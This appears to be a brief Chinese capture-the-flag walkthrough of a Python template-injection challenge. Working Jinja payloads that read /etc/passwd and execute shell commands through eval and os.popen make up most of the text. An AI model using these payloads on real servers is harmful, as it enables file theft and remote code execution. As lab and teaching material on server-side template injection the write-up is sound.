Web_python_template_injection(python模板注入)
[1] {{1+1}}测试,存在模板注入:
[2] {{config.items()}} 可以查看服务器的配置信息:
[3] 读取password信息:
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
[4] 命令执行,(ls列出文件):
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
找到fl4g
[5] 同上一步,修改命令为cat fl4g即可。